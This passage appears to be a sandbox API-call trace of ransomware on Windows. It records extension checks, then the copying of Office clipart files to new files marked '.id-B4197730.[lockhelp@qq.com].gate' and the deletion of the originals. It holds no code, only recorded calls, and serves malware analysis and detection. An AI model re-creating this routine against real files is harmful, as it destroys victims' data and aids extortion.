Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0279.850] lstrlenW (lpString=".dbf") returned 4 [0279.850] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0279.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0279.850] lstrlenW (lpString=".1cd") returned 4 [0279.850] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0279.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68 [0279.850] lstrlenW (lpString=".jpg") returned 4 [0279.851] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0279.851] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0279.851] lstrlenW (lpString="AG00172_.GIF") returned 12 [0279.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0279.851] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=4390) returned 1 [0279.851] CloseHandle (hObject=0x390) returned 1 [0279.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif")) returned 0x220 [0279.851] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0279.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0279.852] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.852] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0279.852] GetLastError () returned 0x0 [0279.852] ReadFile (in: hFile=0x390, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x1126, lpOverlapped=0x0) returned 1 [0279.919] WriteFile (in: hFile=0x388, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x1130, lpOverlapped=0x0) returned 1 [0279.920] ReadFile (in: hFile=0x390, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0279.920] WriteFile (in: hFile=0x388, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0279.920] SetEndOfFile (hFile=0x388) returned 1 [0279.920] CloseHandle (hObject=0x388) returned 1 [0279.921] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.921] SetEndOfFile (hFile=0x390) returned 1 [0279.923] CloseHandle (hObject=0x390) returned 1 [0279.923] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0279.923] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif")) returned 1 [0279.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0279.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0279.924] lstrlenW (lpString=".doc") returned 4 [0279.924] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0279.924] lstrlenW (lpString=".docx") returned 5 [0279.924] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0279.924] lstrlenW (lpString=".pdf") returned 4 [0279.924] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0279.924] lstrlenW (lpString=".xls") returned 4 [0279.924] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0279.924] lstrlenW (lpString=".xlsx") returned 5 [0279.924] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0279.924] lstrlenW (lpString=".ppt") returned 4 [0279.924] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0279.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0279.924] lstrlenW (lpString=".zip") returned 4 [0279.924] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0279.924] lstrlenW (lpString=".rar") returned 4 [0279.924] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0279.924] lstrlenW (lpString=".bz2") returned 4 [0279.924] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0279.924] lstrlenW (lpString=".7z") returned 3 [0279.924] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0279.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0279.924] lstrlenW (lpString=".dbf") returned 4 [0279.924] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0279.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0279.924] lstrlenW (lpString=".1cd") returned 4 [0279.924] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0279.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0279.925] lstrlenW (lpString=".jpg") returned 4 [0279.925] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0279.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0279.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0279.925] lstrlenW (lpString=".doc") returned 4 [0279.925] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0279.925] lstrlenW (lpString=".docx") returned 5 [0279.925] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0279.925] lstrlenW (lpString=".pdf") returned 4 [0279.925] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0279.925] lstrlenW (lpString=".xls") returned 4 [0279.925] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0279.925] lstrlenW (lpString=".xlsx") returned 5 [0279.925] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0279.925] lstrlenW (lpString=".ppt") returned 4 [0279.925] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0279.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0279.925] lstrlenW (lpString=".zip") returned 4 [0279.925] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0279.925] lstrlenW (lpString=".rar") returned 4 [0279.925] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0279.925] lstrlenW (lpString=".bz2") returned 4 [0279.925] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0279.925] lstrlenW (lpString=".7z") returned 3 [0279.925] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0279.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0279.925] lstrlenW (lpString=".dbf") returned 4 [0279.925] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0279.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0279.925] lstrlenW (lpString=".1cd") returned 4 [0279.925] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0279.926] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF") returned 68 [0279.926] lstrlenW (lpString=".jpg") returned 4 [0279.926] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0279.926] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0279.926] lstrlenW (lpString="AG00176_.GIF") returned 12 [0279.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0279.934] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=3120) returned 1 [0279.934] CloseHandle (hObject=0x404) returned 1 [0279.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif")) returned 0x220 [0279.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0279.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0279.935] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.935] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0279.935] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0279.935] GetLastError () returned 0x0 [0279.935] ReadFile (in: hFile=0x404, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0xc30, lpOverlapped=0x0) returned 1 [0279.991] WriteFile (in: hFile=0x394, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xc40, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xc40, lpOverlapped=0x0) returned 1 [0279.992] ReadFile (in: hFile=0x404, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0279.992] WriteFile (in: hFile=0x394, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0279.992] SetEndOfFile (hFile=0x394) returned 1 [0280.162] CloseHandle (hObject=0x394) returned 1 [0280.162] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.162] SetEndOfFile (hFile=0x404) returned 1 [0280.174] CloseHandle (hObject=0x404) returned 1 [0280.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0280.270] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00176_.gif")) returned 1 [0280.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0280.270] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0280.271] lstrlenW (lpString=".doc") returned 4 [0280.271] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0280.271] lstrlenW (lpString=".docx") returned 5 [0280.271] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0280.271] lstrlenW (lpString=".pdf") returned 4 [0280.271] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0280.271] lstrlenW (lpString=".xls") returned 4 [0280.271] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0280.271] lstrlenW (lpString=".xlsx") returned 5 [0280.271] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0280.271] lstrlenW (lpString=".ppt") returned 4 [0280.271] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0280.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0280.271] lstrlenW (lpString=".zip") returned 4 [0280.271] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0280.271] lstrlenW (lpString=".rar") returned 4 [0280.271] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0280.271] lstrlenW (lpString=".bz2") returned 4 [0280.271] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0280.271] lstrlenW (lpString=".7z") returned 3 [0280.271] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0280.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0280.271] lstrlenW (lpString=".dbf") returned 4 [0280.271] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0280.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0280.271] lstrlenW (lpString=".1cd") returned 4 [0280.271] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0280.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0280.271] lstrlenW (lpString=".jpg") returned 4 [0280.271] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0280.271] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0280.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0280.272] lstrlenW (lpString=".doc") returned 4 [0280.272] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0280.272] lstrlenW (lpString=".docx") returned 5 [0280.272] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0280.272] lstrlenW (lpString=".pdf") returned 4 [0280.272] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0280.272] lstrlenW (lpString=".xls") returned 4 [0280.272] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0280.272] lstrlenW (lpString=".xlsx") returned 5 [0280.272] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0280.272] lstrlenW (lpString=".ppt") returned 4 [0280.272] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0280.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0280.272] lstrlenW (lpString=".zip") returned 4 [0280.272] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0280.272] lstrlenW (lpString=".rar") returned 4 [0280.272] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0280.272] lstrlenW (lpString=".bz2") returned 4 [0280.272] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0280.272] lstrlenW (lpString=".7z") returned 3 [0280.272] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0280.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0280.272] lstrlenW (lpString=".dbf") returned 4 [0280.272] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0280.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0280.272] lstrlenW (lpString=".1cd") returned 4 [0280.272] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0280.272] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00176_.GIF") returned 68 [0280.272] lstrlenW (lpString=".jpg") returned 4 [0280.272] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0280.273] lstrcmpiW (lpString1=".WMF", lpString2=".gate") returned 1 [0280.273] lstrlenW (lpString="AN00015_.WMF") returned 12 [0280.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0280.273] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=4734) returned 1 [0280.273] CloseHandle (hObject=0x3dc) returned 1 [0280.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf")) returned 0x220 [0280.273] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0280.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0280.274] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.274] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0280.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0280.274] GetLastError () returned 0x0 [0280.274] ReadFile (in: hFile=0x3dc, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x127e, lpOverlapped=0x0) returned 1 [0280.382] WriteFile (in: hFile=0x3a0, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0x1280, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0x1280, lpOverlapped=0x0) returned 1 [0280.933] ReadFile (in: hFile=0x3dc, lpBuffer=0x40b1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0280.933] WriteFile (in: hFile=0x3a0, lpBuffer=0x40b1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x40b1020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0280.933] SetEndOfFile (hFile=0x3a0) returned 1 [0281.019] CloseHandle (hObject=0x3a0) returned 1 [0281.020] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0281.020] SetEndOfFile (hFile=0x3dc) returned 1 [0281.022] CloseHandle (hObject=0x3dc) returned 1 [0281.022] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0281.022] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00015_.wmf")) returned 1 [0281.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0281.022] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0281.022] lstrlenW (lpString=".doc") returned 4 [0281.022] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.022] lstrlenW (lpString=".docx") returned 5 [0281.022] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.023] lstrlenW (lpString=".pdf") returned 4 [0281.023] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.023] lstrlenW (lpString=".xls") returned 4 [0281.023] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.023] lstrlenW (lpString=".xlsx") returned 5 [0281.023] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.023] lstrlenW (lpString=".ppt") returned 4 [0281.023] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0281.023] lstrlenW (lpString=".zip") returned 4 [0281.023] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.023] lstrlenW (lpString=".rar") returned 4 [0281.023] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.023] lstrlenW (lpString=".bz2") returned 4 [0281.023] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.023] lstrlenW (lpString=".7z") returned 3 [0281.023] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0281.023] lstrlenW (lpString=".dbf") returned 4 [0281.023] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0281.023] lstrlenW (lpString=".1cd") returned 4 [0281.023] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0281.023] lstrlenW (lpString=".jpg") returned 4 [0281.023] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0281.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0281.023] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0281.023] lstrlenW (lpString=".doc") returned 4 [0281.024] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0281.024] lstrlenW (lpString=".docx") returned 5 [0281.024] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0281.024] lstrlenW (lpString=".pdf") returned 4 [0281.024] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0281.024] lstrlenW (lpString=".xls") returned 4 [0281.024] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0281.024] lstrlenW (lpString=".xlsx") returned 5 [0281.024] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0281.024] lstrlenW (lpString=".ppt") returned 4 [0281.024] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0281.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0281.024] lstrlenW (lpString=".zip") returned 4 [0281.024] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0281.024] lstrlenW (lpString=".rar") returned 4 [0281.024] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0281.024] lstrlenW (lpString=".bz2") returned 4 [0281.024] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0281.024] lstrlenW (lpString=".7z") returned 3 [0281.024] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0281.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0281.024] lstrlenW (lpString=".dbf") returned 4 [0281.024] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0281.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0281.024] lstrlenW (lpString=".1cd") returned 4 [0281.024] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0281.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00015_.WMF") returned 68 [0281.024] 